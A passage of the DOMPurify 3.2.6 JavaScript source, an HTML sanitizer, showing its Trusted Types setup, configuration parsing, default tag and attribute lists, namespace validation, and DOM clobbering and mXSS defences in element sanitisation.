'function') {\n return null;\n }\n // Allow the callers to control the unique policy name\n // by adding a data-tt-policy-suffix to the script element with the DOMPurify.\n // Policy creation with duplicate names throws in Trusted Types.\n let suffix = null;\n const ATTR_NAME = 'data-tt-policy-suffix';\n if (purifyHostElement && purifyHostElement.hasAttribute(ATTR_NAME)) {\n suffix = purifyHostElement.getAttribute(ATTR_NAME);\n }\n const policyName = 'dompurify' + (suffix ? '#' + suffix : '');\n try {\n return trustedTypes.createPolicy(policyName, {\n createHTML(html) {\n return html;\n },\n createScriptURL(scriptUrl) {\n return scriptUrl;\n }\n });\n } catch (_) {\n // Policy creation failed (most likely another DOMPurify script has\n // already run). Skip creating the policy, as this will only cause errors\n // if TT are enforced.\n console.warn('TrustedTypes policy ' + policyName + ' could not be created.');\n return null;\n }\n};\nconst _createHooksMap = function _createHooksMap() {\n return {\n afterSanitizeAttributes: [],\n afterSanitizeElements: [],\n afterSanitizeShadowDOM: [],\n beforeSanitizeAttributes: [],\n beforeSanitizeElements: [],\n beforeSanitizeShadowDOM: [],\n uponSanitizeAttribute: [],\n uponSanitizeElement: [],\n uponSanitizeShadowNode: []\n };\n};\nfunction createDOMPurify() {\n let window = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : getGlobal();\n const DOMPurify = root => createDOMPurify(root);\n DOMPurify.version = '3.2.6';\n DOMPurify.removed = [];\n if (!window || !window.document || window.document.nodeType !== NODE_TYPE.document || !window.Element) {\n // Not running in a browser, provide a factory function\n // so that you can pass your own Window\n DOMPurify.isSupported = false;\n return DOMPurify;\n }\n let {\n document\n } = window;\n const originalDocument = document;\n const currentScript = originalDocument.currentScript;\n const {\n DocumentFragment,\n HTMLTemplateElement,\n Node,\n Element,\n NodeFilter,\n NamedNodeMap = window.NamedNodeMap || window.MozNamedAttrMap,\n HTMLFormElement,\n DOMParser,\n trustedTypes\n } = window;\n const ElementPrototype = Element.prototype;\n const cloneNode = lookupGetter(ElementPrototype, 'cloneNode');\n const remove = lookupGetter(ElementPrototype, 'remove');\n const getNextSibling = lookupGetter(ElementPrototype, 'nextSibling');\n const getChildNodes = lookupGetter(ElementPrototype, 'childNodes');\n const getParentNode = lookupGetter(ElementPrototype, 'parentNode');\n // As per issue #47, the web-components registry is inherited by a\n // new document created via createHTMLDocument. As per the spec\n // (http://w3c.github.io/webcomponents/spec/custom/#creating-and-passing-registries)\n // a new empty registry is used when creating a template contents owner\n // document, so we use that as our parent document to ensure nothing\n // is inherited.\n if (typeof HTMLTemplateElement === 'function') {\n const template = document.createElement('template');\n if (template.content && template.content.ownerDocument) {\n document = template.content.ownerDocument;\n }\n }\n let trustedTypesPolicy;\n let emptyHTML = '';\n const {\n implementation,\n createNodeIterator,\n createDocumentFragment,\n getElementsByTagName\n } = document;\n const {\n importNode\n } = originalDocument;\n let hooks = _createHooksMap();\n /**\n * Expose whether this browser supports running the full DOMPurify.\n */\n DOMPurify.isSupported = typeof entries === 'function' && typeof getParentNode === 'function' && implementation && implementation.createHTMLDocument !== undefined;\n const {\n MUSTACHE_EXPR,\n ERB_EXPR,\n TMPLIT_EXPR,\n DATA_ATTR,\n ARIA_ATTR,\n IS_SCRIPT_OR_DATA,\n ATTR_WHITESPACE,\n CUSTOM_ELEMENT\n } = EXPRESSIONS;\n let {\n IS_ALLOWED_URI: IS_ALLOWED_URI$1\n } = EXPRESSIONS;\n /**\n * We consider the elements and attributes below to be safe. Ideally\n * don't add any new ones but feel free to remove unwanted ones.\n */\n /* allowed element names */\n let ALLOWED_TAGS = null;\n const DEFAULT_ALLOWED_TAGS = addToSet({}, [...html$1, ...svg$1, ...svgFilters, ...mathMl$1, ...text]);\n /* Allowed attribute names */\n let ALLOWED_ATTR = null;\n const DEFAULT_ALLOWED_ATTR = addToSet({}, [...html, ...svg, ...mathMl, ...xml]);\n /*\n * Configure how DOMPurify should handle custom elements and their attributes as well as customized built-in elements.\n * @property {RegExp|Function|null} tagNameCheck one of [null, regexPattern, predicate]. Default: `null` (disallow any custom elements)\n * @property {RegExp|Function|null} attributeNameCheck one of [null, regexPattern, predicate]. Default: `null` (disallow any attributes not on the allow list)\n * @property {boolean} allowCustomizedBuiltInElements allow custom elements derived from built-ins if they pass CUSTOM_ELEMENT_HANDLING.tagNameCheck. Default: `false`.\n */\n let CUSTOM_ELEMENT_HANDLING = Object.seal(create(null, {\n tagNameCheck: {\n writable: true,\n configurable: false,\n enumerable: true,\n value: null\n },\n attributeNameCheck: {\n writable: true,\n configurable: false,\n enumerable: true,\n value: null\n },\n allowCustomizedBuiltInElements: {\n writable: true,\n configurable: false,\n enumerable: true,\n value: false\n }\n }));\n /* Explicitly forbidden tags (overrides ALLOWED_TAGS/ADD_TAGS) */\n let FORBID_TAGS = null;\n /* Explicitly forbidden attributes (overrides ALLOWED_ATTR/ADD_ATTR) */\n let FORBID_ATTR = null;\n /* Decide if ARIA attributes are okay */\n let ALLOW_ARIA_ATTR = true;\n /* Decide if custom data attributes are okay */\n let ALLOW_DATA_ATTR = true;\n /* Decide if unknown protocols are okay */\n let ALLOW_UNKNOWN_PROTOCOLS = false;\n /* Decide if self-closing tags in attributes are allowed.\n * Usually removed due to a mXSS issue in jQuery 3.0 */\n let ALLOW_SELF_CLOSE_IN_ATTR = true;\n /* Output should be safe for common template engines.\n * This means, DOMPurify removes data attributes, mustaches and ERB\n */\n let SAFE_FOR_TEMPLATES = false;\n /* Output should be safe even for XML used within HTML and alike.\n * This means, DOMPurify removes comments when containing risky content.\n */\n let SAFE_FOR_XML = true;\n /* Decide if document with <html>... should be returned */\n let WHOLE_DOCUMENT = false;\n /* Track whether config is already set on this instance of DOMPurify. */\n let SET_CONFIG = false;\n /* Decide if all elements (e.g. style, script) must be children of\n * document.body. By default, browsers might move them to document.head */\n let FORCE_BODY = false;\n /* Decide if a DOM `HTMLBodyElement` should be returned, instead of a html\n * string (or a TrustedHTML object if Trusted Types are supported).\n * If `WHOLE_DOCUMENT` is enabled a `HTMLHtmlElement` will be returned instead\n */\n let RETURN_DOM = false;\n /* Decide if a DOM `DocumentFragment` should be returned, instead of a html\n * string (or a TrustedHTML object if Trusted Types are supported) */\n let RETURN_DOM_FRAGMENT = false;\n /* Try to return a Trusted Type object instead of a string, return a string in\n * case Trusted Types are not supported */\n let RETURN_TRUSTED_TYPE = false;\n /* Output should be free from DOM clobbering attacks?\n * This sanitizes markups named with colliding, clobberable built-in DOM APIs.\n */\n let SANITIZE_DOM = true;\n /* Achieve full DOM Clobbering protection by isolating the namespace of named\n * properties and JS variables, mitigating attacks that abuse the HTML/DOM spec rules.\n *\n * HTML/DOM spec rules that enable DOM Clobbering:\n * - Named Access on Window (§7.3.3)\n * - DOM Tree Accessors (§3.1.5)\n * - Form Element Parent-Child Relations (§4.10.3)\n * - Iframe srcdoc / Nested WindowProxies (§4.8.5)\n * - HTMLCollection (§4.2.10.2)\n *\n * Namespace isolation is implemented by prefixing `id` and `name` attributes\n * with a constant string, i.e., `user-content-`\n */\n let SANITIZE_NAMED_PROPS = false;\n const SANITIZE_NAMED_PROPS_PREFIX = 'user-content-';\n /* Keep element content when removing element? */\n let KEEP_CONTENT = true;\n /* If a `Node` is passed to sanitize(), then performs sanitization in-place instead\n * of importing it into a new Document and returning a sanitized copy */\n let IN_PLACE = false;\n /* Allow usage of profiles like html, svg and mathMl */\n let USE_PROFILES = {};\n /* Tags to ignore content of when KEEP_CONTENT is true */\n let FORBID_CONTENTS = null;\n const DEFAULT_FORBID_CONTENTS = addToSet({}, ['annotation-xml', 'audio', 'colgroup', 'desc', 'foreignobject', 'head', 'iframe', 'math', 'mi', 'mn', 'mo', 'ms', 'mtext', 'noembed', 'noframes', 'noscript', 'plaintext', 'script', 'style', 'svg', 'template', 'thead', 'title', 'video', 'xmp']);\n /* Tags that are safe for data: URIs */\n let DATA_URI_TAGS = null;\n const DEFAULT_DATA_URI_TAGS = addToSet({}, ['audio', 'video', 'img', 'source', 'image', 'track']);\n /* Attributes safe for values like \"javascript:\" */\n let URI_SAFE_ATTRIBUTES = null;\n const DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, ['alt', 'class', 'for', 'id', 'label', 'name', 'pattern', 'placeholder', 'role', 'summary', 'title', 'value', 'style', 'xmlns']);\n const MATHML_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';\n const SVG_NAMESPACE = 'http://www.w3.org/2000/svg';\n const HTML_NAMESPACE = 'http://www.w3.org/1999/xhtml';\n /* Document namespace */\n let NAMESPACE = HTML_NAMESPACE;\n let IS_EMPTY_INPUT = false;\n /* Allowed XHTML+XML namespaces */\n let ALLOWED_NAMESPACES = null;\n const DEFAULT_ALLOWED_NAMESPACES = addToSet({}, [MATHML_NAMESPACE, SVG_NAMESPACE, HTML_NAMESPACE], stringToString);\n let MATHML_TEXT_INTEGRATION_POINTS = addToSet({}, ['mi', 'mo', 'mn', 'ms', 'mtext']);\n let HTML_INTEGRATION_POINTS = addToSet({}, ['annotation-xml']);\n // Certain elements are allowed in both SVG and HTML\n // namespace. We need to specify them explicitly\n // so that they don't get erroneously deleted from\n // HTML namespace.\n const COMMON_SVG_AND_HTML_ELEMENTS = addToSet({}, ['title', 'style', 'font', 'a', 'script']);\n /* Parsing of strict XHTML documents */\n let PARSER_MEDIA_TYPE = null;\n const SUPPORTED_PARSER_MEDIA_TYPES = ['application/xhtml+xml', 'text/html'];\n const DEFAULT_PARSER_MEDIA_TYPE = 'text/html';\n let transformCaseFunc = null;\n /* Keep a reference to config to pass to hooks */\n let CONFIG = null;\n /* Ideally, do not touch anything below this line */\n /* ______________________________________________ */\n const formElement = document.createElement('form');\n const isRegexOrFunction = function isRegexOrFunction(testValue) {\n return testValue instanceof RegExp || testValue instanceof Function;\n };\n /**\n * _parseConfig\n *\n * @param cfg optional config literal\n */\n // eslint-disable-next-line complexity\n const _parseConfig = function _parseConfig() {\n let cfg = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n if (CONFIG && CONFIG === cfg) {\n return;\n }\n /* Shield configuration object from tampering */\n if (!cfg || typeof cfg !== 'object') {\n cfg = {};\n }\n /* Shield configuration object from prototype pollution */\n cfg = clone(cfg);\n PARSER_MEDIA_TYPE =\n // eslint-disable-next-line unicorn/prefer-includes\n SUPPORTED_PARSER_MEDIA_TYPES.indexOf(cfg.PARSER_MEDIA_TYPE) === -1 ? DEFAULT_PARSER_MEDIA_TYPE : cfg.PARSER_MEDIA_TYPE;\n // HTML tags and attributes are not case-sensitive, converting to lowercase. Keeping XHTML as is.\n transformCaseFunc = PARSER_MEDIA_TYPE === 'application/xhtml+xml' ? stringToString : stringToLowerCase;\n /* Set configuration parameters */\n ALLOWED_TAGS = objectHasOwnProperty(cfg, 'ALLOWED_TAGS') ? addToSet({}, cfg.ALLOWED_TAGS, transformCaseFunc) : DEFAULT_ALLOWED_TAGS;\n ALLOWED_ATTR = objectHasOwnProperty(cfg, 'ALLOWED_ATTR') ? addToSet({}, cfg.ALLOWED_ATTR, transformCaseFunc) : DEFAULT_ALLOWED_ATTR;\n ALLOWED_NAMESPACES = objectHasOwnProperty(cfg, 'ALLOWED_NAMESPACES') ? addToSet({}, cfg.ALLOWED_NAMESPACES, stringToString) : DEFAULT_ALLOWED_NAMESPACES;\n URI_SAFE_ATTRIBUTES = objectHasOwnProperty(cfg, 'ADD_URI_SAFE_ATTR') ? addToSet(clone(DEFAULT_URI_SAFE_ATTRIBUTES), cfg.ADD_URI_SAFE_ATTR, transformCaseFunc) : DEFAULT_URI_SAFE_ATTRIBUTES;\n DATA_URI_TAGS = objectHasOwnProperty(cfg, 'ADD_DATA_URI_TAGS') ? addToSet(clone(DEFAULT_DATA_URI_TAGS), cfg.ADD_DATA_URI_TAGS, transformCaseFunc) : DEFAULT_DATA_URI_TAGS;\n FORBID_CONTENTS = objectHasOwnProperty(cfg, 'FORBID_CONTENTS') ? addToSet({}, cfg.FORBID_CONTENTS, transformCaseFunc) : DEFAULT_FORBID_CONTENTS;\n FORBID_TAGS = objectHasOwnProperty(cfg, 'FORBID_TAGS') ? addToSet({}, cfg.FORBID_TAGS, transformCaseFunc) : clone({});\n FORBID_ATTR = objectHasOwnProperty(cfg, 'FORBID_ATTR') ? addToSet({}, cfg.FORBID_ATTR, transformCaseFunc) : clone({});\n USE_PROFILES = objectHasOwnProperty(cfg, 'USE_PROFILES') ? cfg.USE_PROFILES : false;\n ALLOW_ARIA_ATTR = cfg.ALLOW_ARIA_ATTR !== false; // Default true\n ALLOW_DATA_ATTR = cfg.ALLOW_DATA_ATTR !== false; // Default true\n ALLOW_UNKNOWN_PROTOCOLS = cfg.ALLOW_UNKNOWN_PROTOCOLS || false; // Default false\n ALLOW_SELF_CLOSE_IN_ATTR = cfg.ALLOW_SELF_CLOSE_IN_ATTR !== false; // Default true\n SAFE_FOR_TEMPLATES = cfg.SAFE_FOR_TEMPLATES || false; // Default false\n SAFE_FOR_XML = cfg.SAFE_FOR_XML !== false; // Default true\n WHOLE_DOCUMENT = cfg.WHOLE_DOCUMENT || false; // Default false\n RETURN_DOM = cfg.RETURN_DOM || false; // Default false\n RETURN_DOM_FRAGMENT = cfg.RETURN_DOM_FRAGMENT || false; // Default false\n RETURN_TRUSTED_TYPE = cfg.RETURN_TRUSTED_TYPE || false; // Default false\n FORCE_BODY = cfg.FORCE_BODY || false; // Default false\n SANITIZE_DOM = cfg.SANITIZE_DOM !== false; // Default true\n SANITIZE_NAMED_PROPS = cfg.SANITIZE_NAMED_PROPS || false; // Default false\n KEEP_CONTENT = cfg.KEEP_CONTENT !== false; // Default true\n IN_PLACE = cfg.IN_PLACE || false; // Default false\n IS_ALLOWED_URI$1 = cfg.ALLOWED_URI_REGEXP || IS_ALLOWED_URI;\n NAMESPACE = cfg.NAMESPACE || HTML_NAMESPACE;\n MATHML_TEXT_INTEGRATION_POINTS = cfg.MATHML_TEXT_INTEGRATION_POINTS || MATHML_TEXT_INTEGRATION_POINTS;\n HTML_INTEGRATION_POINTS = cfg.HTML_INTEGRATION_POINTS || HTML_INTEGRATION_POINTS;\n CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck)) {\n CUSTOM_ELEMENT_HANDLING.tagNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck;\n }\n if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)) {\n CUSTOM_ELEMENT_HANDLING.attributeNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck;\n }\n if (cfg.CUSTOM_ELEMENT_HANDLING && typeof cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements === 'boolean') {\n CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements = cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements;\n }\n if (SAFE_FOR_TEMPLATES) {\n ALLOW_DATA_ATTR = false;\n }\n if (RETURN_DOM_FRAGMENT) {\n RETURN_DOM = true;\n }\n /* Parse profile info */\n if (USE_PROFILES) {\n ALLOWED_TAGS = addToSet({}, text);\n ALLOWED_ATTR = [];\n if (USE_PROFILES.html === true) {\n addToSet(ALLOWED_TAGS, html$1);\n addToSet(ALLOWED_ATTR, html);\n }\n if (USE_PROFILES.svg === true) {\n addToSet(ALLOWED_TAGS, svg$1);\n addToSet(ALLOWED_ATTR, svg);\n addToSet(ALLOWED_ATTR, xml);\n }\n if (USE_PROFILES.svgFilters === true) {\n addToSet(ALLOWED_TAGS, svgFilters);\n addToSet(ALLOWED_ATTR, svg);\n addToSet(ALLOWED_ATTR, xml);\n }\n if (USE_PROFILES.mathMl === true) {\n addToSet(ALLOWED_TAGS, mathMl$1);\n addToSet(ALLOWED_ATTR, mathMl);\n addToSet(ALLOWED_ATTR, xml);\n }\n }\n /* Merge configuration parameters */\n if (cfg.ADD_TAGS) {\n if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {\n ALLOWED_TAGS = clone(ALLOWED_TAGS);\n }\n addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);\n }\n if (cfg.ADD_ATTR) {\n if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {\n ALLOWED_ATTR = clone(ALLOWED_ATTR);\n }\n addToSet(ALLOWED_ATTR, cfg.ADD_ATTR, transformCaseFunc);\n }\n if (cfg.ADD_URI_SAFE_ATTR) {\n addToSet(URI_SAFE_ATTRIBUTES, cfg.ADD_URI_SAFE_ATTR, transformCaseFunc);\n }\n if (cfg.FORBID_CONTENTS) {\n if (FORBID_CONTENTS === DEFAULT_FORBID_CONTENTS) {\n FORBID_CONTENTS = clone(FORBID_CONTENTS);\n }\n addToSet(FORBID_CONTENTS, cfg.FORBID_CONTENTS, transformCaseFunc);\n }\n /* Add #text in case KEEP_CONTENT is set to true */\n if (KEEP_CONTENT) {\n ALLOWED_TAGS['#text'] = true;\n }\n /* Add html, head and body to ALLOWED_TAGS in case WHOLE_DOCUMENT is true */\n if (WHOLE_DOCUMENT) {\n addToSet(ALLOWED_TAGS, ['html', 'head', 'body']);\n }\n /* Add tbody to ALLOWED_TAGS in case tables are permitted, see #286, #365 */\n if (ALLOWED_TAGS.table) {\n addToSet(ALLOWED_TAGS, ['tbody']);\n delete FORBID_TAGS.tbody;\n }\n if (cfg.TRUSTED_TYPES_POLICY) {\n if (typeof cfg.TRUSTED_TYPES_POLICY.createHTML !== 'function') {\n throw typeErrorCreate('TRUSTED_TYPES_POLICY configuration option must provide a \"createHTML\" hook.');\n }\n if (typeof cfg.TRUSTED_TYPES_POLICY.createScriptURL !== 'function') {\n throw typeErrorCreate('TRUSTED_TYPES_POLICY configuration option must provide a \"createScriptURL\" hook.');\n }\n // Overwrite existing TrustedTypes policy.\n trustedTypesPolicy = cfg.TRUSTED_TYPES_POLICY;\n // Sign local variables required by `sanitize`.\n emptyHTML = trustedTypesPolicy.createHTML('');\n } else {\n // Uninitialized policy, attempt to initialize the internal dompurify policy.\n if (trustedTypesPolicy === undefined) {\n trustedTypesPolicy = _createTrustedTypesPolicy(trustedTypes, currentScript);\n }\n // If creating the internal policy succeeded sign internal variables.\n if (trustedTypesPolicy !== null && typeof emptyHTML === 'string') {\n emptyHTML = trustedTypesPolicy.createHTML('');\n }\n }\n // Prevent further manipulation of configuration.\n // Not available in IE8, Safari 5, etc.\n if (freeze) {\n freeze(cfg);\n }\n CONFIG = cfg;\n };\n /* Keep track of all possible SVG and MathML tags\n * so that we can perform the namespace checks\n * correctly. */\n const ALL_SVG_TAGS = addToSet({}, [...svg$1, ...svgFilters, ...svgDisallowed]);\n const ALL_MATHML_TAGS = addToSet({}, [...mathMl$1, ...mathMlDisallowed]);\n /**\n * @param element a DOM element whose namespace is being checked\n * @returns Return false if the element has a\n * namespace that a spec-compliant parser would never\n * return. Return true otherwise.\n */\n const _checkValidNamespace = function _checkValidNamespace(element) {\n let parent = getParentNode(element);\n // In JSDOM, if we're inside shadow DOM, then parentNode\n // can be null. We just simulate parent in this case.\n if (!parent || !parent.tagName) {\n parent = {\n namespaceURI: NAMESPACE,\n tagName: 'template'\n };\n }\n const tagName = stringToLowerCase(element.tagName);\n const parentTagName = stringToLowerCase(parent.tagName);\n if (!ALLOWED_NAMESPACES[element.namespaceURI]) {\n return false;\n }\n if (element.namespaceURI === SVG_NAMESPACE) {\n // The only way to switch from HTML namespace to SVG\n // is via <svg>. If it happens via any other tag, then\n // it should be killed.\n if (parent.namespaceURI === HTML_NAMESPACE) {\n return tagName === 'svg';\n }\n // The only way to switch from MathML to SVG is via`\n // svg if parent is either <annotation-xml> or MathML\n // text integration points.\n if (parent.namespaceURI === MATHML_NAMESPACE) {\n return tagName === 'svg' && (parentTagName === 'annotation-xml' || MATHML_TEXT_INTEGRATION_POINTS[parentTagName]);\n }\n // We only allow elements that are defined in SVG\n // spec. All others are disallowed in SVG namespace.\n return Boolean(ALL_SVG_TAGS[tagName]);\n }\n if (element.namespaceURI === MATHML_NAMESPACE) {\n // The only way to switch from HTML namespace to MathML\n // is via <math>. If it happens via any other tag, then\n // it should be killed.\n if (parent.namespaceURI === HTML_NAMESPACE) {\n return tagName === 'math';\n }\n // The only way to switch from SVG to MathML is via\n // <math> and HTML integration points\n if (parent.namespaceURI === SVG_NAMESPACE) {\n return tagName === 'math' && HTML_INTEGRATION_POINTS[parentTagName];\n }\n // We only allow elements that are defined in MathML\n // spec. All others are disallowed in MathML namespace.\n return Boolean(ALL_MATHML_TAGS[tagName]);\n }\n if (element.namespaceURI === HTML_NAMESPACE) {\n // The only way to switch from SVG to HTML is via\n // HTML integration points, and from MathML to HTML\n // is via MathML text integration points\n if (parent.namespaceURI === SVG_NAMESPACE && !HTML_INTEGRATION_POINTS[parentTagName]) {\n return false;\n }\n if (parent.namespaceURI === MATHML_NAMESPACE && !MATHML_TEXT_INTEGRATION_POINTS[parentTagName]) {\n return false;\n }\n // We disallow tags that are specific for MathML\n // or SVG and should never appear in HTML namespace\n return !ALL_MATHML_TAGS[tagName] && (COMMON_SVG_AND_HTML_ELEMENTS[tagName] || !ALL_SVG_TAGS[tagName]);\n }\n // For XHTML and XML documents that support custom namespaces\n if (PARSER_MEDIA_TYPE === 'application/xhtml+xml' && ALLOWED_NAMESPACES[element.namespaceURI]) {\n return true;\n }\n // The code should never reach this place (this means\n // that the element somehow got namespace that is not\n // HTML, SVG, MathML or allowed via ALLOWED_NAMESPACES).\n // Return false just in case.\n return false;\n };\n /**\n * _forceRemove\n *\n * @param node a DOM node\n */\n const _forceRemove = function _forceRemove(node) {\n arrayPush(DOMPurify.removed, {\n element: node\n });\n try {\n // eslint-disable-next-line unicorn/prefer-dom-node-remove\n getParentNode(node).removeChild(node);\n } catch (_) {\n remove(node);\n }\n };\n /**\n * _removeAttribute\n *\n * @param name an Attribute name\n * @param element a DOM node\n */\n const _removeAttribute = function _removeAttribute(name, element) {\n try {\n arrayPush(DOMPurify.removed, {\n attribute: element.getAttributeNode(name),\n from: element\n });\n } catch (_) {\n arrayPush(DOMPurify.removed, {\n attribute: null,\n from: element\n });\n }\n element.removeAttribute(name);\n // We void attribute values for unremovable \"is\" attributes\n if (name === 'is') {\n if (RETURN_DOM || RETURN_DOM_FRAGMENT) {\n try {\n _forceRemove(element);\n } catch (_) {}\n } else {\n try {\n element.setAttribute(name, '');\n } catch (_) {}\n }\n }\n };\n /**\n * _initDocument\n *\n * @param dirty - a string of dirty markup\n * @return a DOM, filled with the dirty markup\n */\n const _initDocument = function _initDocument(dirty) {\n /* Create a HTML document */\n let doc = null;\n let leadingWhitespace = null;\n if (FORCE_BODY) {\n dirty = '<remove></remove>' + dirty;\n } else {\n /* If FORCE_BODY isn't used, leading whitespace needs to be preserved manually */\n const matches = stringMatch(dirty, /^[\\r\\n\\t ]+/);\n leadingWhitespace = matches && matches[0];\n }\n if (PARSER_MEDIA_TYPE === 'application/xhtml+xml' && NAMESPACE === HTML_NAMESPACE) {\n // Root of XHTML doc must contain xmlns declaration (see https://www.w3.org/TR/xhtml1/normative.html#strict)\n dirty = '<html xmlns=\"http://www.w3.org/1999/xhtml\"><head></head><body>' + dirty + '</body></html>';\n }\n const dirtyPayload = trustedTypesPolicy ? trustedTypesPolicy.createHTML(dirty) : dirty;\n /*\n * Use the DOMParser API by default, fallback later if needs be\n * DOMParser not work for svg when has multiple root element.\n */\n if (NAMESPACE === HTML_NAMESPACE) {\n try {\n doc = new DOMParser().parseFromString(dirtyPayload, PARSER_MEDIA_TYPE);\n } catch (_) {}\n }\n /* Use createHTMLDocument in case DOMParser is not available */\n if (!doc || !doc.documentElement) {\n doc = implementation.createDocument(NAMESPACE, 'template', null);\n try {\n doc.documentElement.innerHTML = IS_EMPTY_INPUT ? emptyHTML : dirtyPayload;\n } catch (_) {\n // Syntax error if dirtyPayload is invalid xml\n }\n }\n const body = doc.body || doc.documentElement;\n if (dirty && leadingWhitespace) {\n body.insertBefore(document.createTextNode(leadingWhitespace), body.childNodes[0] || null);\n }\n /* Work on whole document or just its body */\n if (NAMESPACE === HTML_NAMESPACE) {\n return getElementsByTagName.call(doc, WHOLE_DOCUMENT ? 'html' : 'body')[0];\n }\n return WHOLE_DOCUMENT ? doc.documentElement : body;\n };\n /**\n * Creates a NodeIterator object that you can use to traverse filtered lists of nodes or elements in a document.\n *\n * @param root The root element or node to start traversing on.\n * @return The created NodeIterator\n */\n const _createNodeIterator = function _createNodeIterator(root) {\n return createNodeIterator.call(root.ownerDocument || root, root,\n // eslint-disable-next-line no-bitwise\n NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_TEXT | NodeFilter.SHOW_PROCESSING_INSTRUCTION | NodeFilter.SHOW_CDATA_SECTION, null);\n };\n /**\n * _isClobbered\n *\n * @param element element to check for clobbering attacks\n * @return true if clobbered, false if safe\n */\n const _isClobbered = function _isClobbered(element) {\n return element instanceof HTMLFormElement && (typeof element.nodeName !== 'string' || typeof element.textContent !== 'string' || typeof element.removeChild !== 'function' || !(element.attributes instanceof NamedNodeMap) || typeof element.removeAttribute !== 'function' || typeof element.setAttribute !== 'function' || typeof element.namespaceURI !== 'string' || typeof element.insertBefore !== 'function' || typeof element.hasChildNodes !== 'function');\n };\n /**\n * Checks whether the given object is a DOM node.\n *\n * @param value object to check whether it's a DOM node\n * @return true is object is a DOM node\n */\n const _isNode = function _isNode(value) {\n return typeof Node === 'function' && value instanceof Node;\n };\n function _executeHooks(hooks, currentNode, data) {\n arrayForEach(hooks, hook => {\n hook.call(DOMPurify, currentNode, data, CONFIG);\n });\n }\n /**\n * _sanitizeElements\n *\n * @protect nodeName\n * @protect textContent\n * @protect removeChild\n * @param currentNode to check for permission to exist\n * @return true if node was killed, false if left alive\n */\n const _sanitizeElements = function _sanitizeElements(currentNode) {\n let content = null;\n /* Execute a hook if present */\n _executeHooks(hooks.beforeSanitizeElements, currentNode, null);\n /* Check if element is clobbered or can clobber */\n if (_isClobbered(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Now let's check the element's type and name */\n const tagName = transformCaseFunc(currentNode.nodeName);\n /* Execute a hook if present */\n _executeHooks(hooks.uponSanitizeElement, currentNode, {\n tagName,\n allowedTags: ALLOWED_TAGS\n });\n /* Detect mXSS attempts abusing namespace confusion */\n if (SAFE_FOR_XML && currentNode.hasChildNodes() && !_isNode(currentNode.firstElementChild) && regExpTest(/<[/\\w!]/g, currentNode.innerHTML) && regExpTest(/<[/\\w!]/g, currentNode.textContent)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Remove any occurrence of processing instructions */\n if (currentNode.nodeType === NODE_TYPE.progressingInstruction) {\n _forceRemove(currentNode);\n return true;\n }\n /* Remove any kind of possibly harmful comments */\n if (SAFE_FOR_XML && currentNode.nodeType === NODE_TYPE.comment && regExpTest(/<[/\\w]/g, currentNode.data)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Remove element if anything forbids its presence */\n if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {\n /* Check if we have a custom element to handle */\n if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {\n if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)) {\n return false;\n }\n if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)) {\n return false;\n }\n }\n /* Keep content except for bad-listed elements */\n if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {\n const parentNode = getParentNode(currentNode) || currentNode.parentNode;\n const childNodes = getChildNodes(currentNode) || currentNode.childNodes;\n if (childNodes && parentNode) {\n const childCount = childNodes.length;\n for (let i = childCount - 1; i >= 0; --i) {\n const childClone = cloneNode(childNodes[i], true);\n childClone.__removalCount = (currentNode.__removalCount || 0) + 1;\n parentNode.insertBefore(childClone, getNextSibling(currentNode));\n }\n }\n }\n _forceRemove(currentNode);\n return true;\n }\n /* Check whether element has a valid namespace */\n if (currentNode instanceof Element && !_checkValidNamespace(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Make sure that older browsers don't get fallback-tag mXSS */\n if ((tagName === 'noscript' || tagName === 'noembed' || tagName === 'noframes') && regExpTest(/<\\/no(script|embed|frames)/i, currentNode.innerHTML)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Sanitize element content to be template-safe */\n if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {\n /* Get the element's text content */\n content = currentNode.textContent;\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {\n content = stringReplace(content, expr, ' ');\n });\n if (currentNode.textContent !== content) {\n arrayPush(DOMPurify.removed, {\n element: currentNode.cloneNode()\n });\n currentNode.textContent = content;\n }\n }\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n return false;\n };\n /**\n * _isValidAttribute\n *\n * @param lcTag Lowercase tag name of containing element.\n * @param lcName Lowercase attribute name.\n * @param value Attribute value.\n * @return Returns true if `value` is valid, otherwise false.\n */\n // eslint-disable-next-line complexity\n const _isValidAttribute = function _isValidAttribute(lcTag, lcName, value) {\n /* Make sure attribute cannot clobber */\n if (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) {\n return false;\n }\n /* Allow valid data-* attributes: At least one character after \"-\"\n 